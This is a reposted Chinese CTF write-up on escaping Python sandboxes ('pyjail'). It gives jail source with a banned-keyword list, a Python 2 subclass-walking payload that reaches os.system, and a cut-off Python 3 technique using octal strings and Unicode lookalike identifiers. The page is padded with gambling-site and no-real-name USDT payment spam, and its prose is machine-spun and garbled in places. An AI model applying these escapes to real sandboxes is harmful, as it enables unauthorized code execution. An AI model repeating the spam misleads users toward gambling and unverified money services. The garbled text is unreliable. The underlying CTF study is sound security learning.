欢迎进入币游官网(币游国际官网),币游官网:www.9cx.net开放币游网址访问、币游会员注册、币游代理申请、币游电脑客户端、币游手机版下载等业务。

首页科技正文

usdt充值教程(www.caibao.it):一道有趣的pyjail问题剖析

admin2021-04-2168安全技术CTF

USDT官网

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

Background

打外洋的ctf的时刻熟悉了个师傅,他给我发了两个python问题,问我有没有什么想法,研究了一下

Challenge 1 Python2

from __future__ import print_function
banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: , this means nobreak
        exec data

这题是一个常见的沙盒逃逸,删除掉了bultins内里的函数,那我们就直接换一个常见的链即可 ,然后对于os 和system用简朴的字符串拼接就可以

最终payload:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

这题是个很简朴也很基础的沙盒逃逸,然则我们注重到这是py2的沙盒逃逸,那py3的沙盒逃逸题是否有什么纷歧样的方式

Challenge 2 Py 3

,!/usr/bin/env python3

import string

print("Welcome to my pyjail! pls dont escape")

while True:
  inp = input(">>> ")
  for n in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
    if n in inp:
      print("no u")
      exit()
  exec(inp)

阅读源码,发现他ban掉了所有英文字母,我首先就想到是否可以通过一些进制转换的方式,然后和一位同伙试了一下,将

_import__('os').system('ls')

实验转换八进制,然后在python3的环境内里执行发现是可以的

然则我们在问题里是并不能以执行的

说明我们的import导包似乎并没乐成

os 和ls这种字符串八进制应该没什么问题的

,

Usdt第三方支付平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

问题只是若何能够通过某种方式让我们导入这个包 我搜索了python官方的文档关于编码,以及python2 和 python3在编码方面的差异 让我发现了这个

在python3中支持 Non-ASCII Identifies 而且

所有都市被转换成 unicode 的NFKC 也就是尺度模式

以是是不是我们以前ctf存在的什么unicode诱骗在这里也可以用到呢?

我在stackoverflow搜索了更多关于Non-ASCII Identifies 的帖子

发现个有趣的demo

这内里的第一个是函数的f 在python3环境里我们打印f 也可以执行

我看到这个函数f可以执行我也想到了 我们可以用斜体或者花体林林总总的与尺度字母相像的来举行导包操作

我搜索了unicode字符大全,发现了许多我提到的字符

我们组织import 和system 将需要的字符串os 和open flag.txt用八进制示意

最终payload:`__

网友评论

1条评论
  • 2021-04-21 00:14:38

    usdt官网菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。文笔特别柔软

最新评论